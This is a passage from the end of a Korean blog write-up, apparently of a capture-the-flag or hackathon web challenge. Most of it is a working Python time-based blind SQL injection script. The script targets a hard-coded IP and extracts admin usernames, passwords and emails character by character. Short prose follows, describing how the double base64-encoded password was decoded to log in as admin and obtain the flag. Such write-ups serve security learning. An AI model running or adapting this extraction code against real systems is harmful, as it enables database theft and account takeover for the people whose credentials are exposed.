except requests.Timeout:
print("Request timed out - potential success")
return True
except Exception as e:
print(f"Error occurred: {e}")
return False
def get_admin_users(self, db_name, table_name):
"""is_admin = 1 인 사용자들의 ID를 추출"""
print(f"\n[*] Extracting admin user IDs from {table_name}")
admin_ids = []
for user_id in range(1, 50): # 최대 50명의 admin 유저를 탐색
payload = self.working_payload.format(
sleep_time=f"if((seLect count(*) from {db_name}.{table_name} where is_admin=1 and id={user_id})>0,{self.sleep_time},0)"
)
if self.make_request(payload):
admin_ids.append(user_id)
print(f"[+] Found admin user: {user_id}")
return admin_ids
def get_data_by_user_id(self, db_name, table_name, column_name, user_id):
"""특정 user_id의 특정 컬럼값 추출"""
print(f"\n[*] Extracting {column_name} for user_id {user_id}")
data_value = ""
for length in range(1, 100): # 최대 100자까지 데이터 길이 탐색
payload = self.working_payload.format(
sleep_time=f"if((seLect length({column_name}) from {db_name}.{table_name} where id={user_id})={length},{self.sleep_time},0)"
)
if self.make_request(payload):
# 길이 찾음 -> 이제 값 추출
for pos in range(1, length + 1):
for char in self.chars:
payload = self.working_payload.format(
sleep_time=f"if((seLect ascii(subsTring({column_name},{pos},1)) from {db_name}.{table_name} where id={user_id})={ord(char)},{self.sleep_time},0)"
)
if self.make_request(payload):
data_value += char
print(f"\rExtracting {column_name}: {data_value}", end="")
break
break
if data_value:
print(f"\n[+] Found {column_name}: {data_value}")
return data_value
def main():
base_url = "http://3.39.38.109:8081/search?q=test&type=name"
db_name = "mobile_store"
table_name = "users"
extractor = DataExtractor(base_url)
print("[+] Finding admin users...")
admin_users = extractor.get_admin_users(db_name, table_name)
if not admin_users:
print("[-] No admin users found. Exiting.")
return
for admin_id in admin_users:
print(f"\n[+] Extracting credentials for admin ID {admin_id}")
username = extractor.get_data_by_user_id(
db_name, table_name, "username", admin_id
)
password = extractor.get_data_by_user_id(
db_name, table_name, "password", admin_id
)
email = extractor.get_data_by_user_id(db_name, table_name, "email", admin_id)
print(f"\nAdmin ID: {admin_id}")
print(f"Username: {username}")
print(f"Password: {password}")
print(f"Email: {email}")
if __name__ == "__main__":
main()결과는 아래와 같았다.
password가 예상했던대로 base64 인코딩이 되어 있어서 디코딩을 시도했고,
처음에는 디코딩을 해서 해당 비밀번호로 로그인을 시도했는데 되지 않아서,,
한번 더 암호화가 되어 있다고 판단해서 , base64 디코딩을 한번더 해보니 아래와 같이 password를 알아낼 수 있었다.
이렇게 마지막으로 알아낸 username과 password를 입력하면, 로그인을 할 수 있다.
관리자 대시보드에 접속하게 되면 최종적으로 flag를 확인할 수 있다.
총평
다음번엔 발표자로 꼭 가보자.!
'Hacker > WEB' 카테고리의 다른 글
| 퇴근 후 위협 분석&정리 - 3 (0) | 2025.05.02 |
|---|---|
| 퇴근 후 위협 분석&정리 - 1 (0) | 2025.04.28 |
| LG U+ Security Hackaton Write up (0) | 2024.11.18 |
| [Dreamhack] - Switching Command (2) | 2024.11.15 |
| LOS(Lord of SQLInjection) - 24번 evil wizard (0) | 2024.10.17 |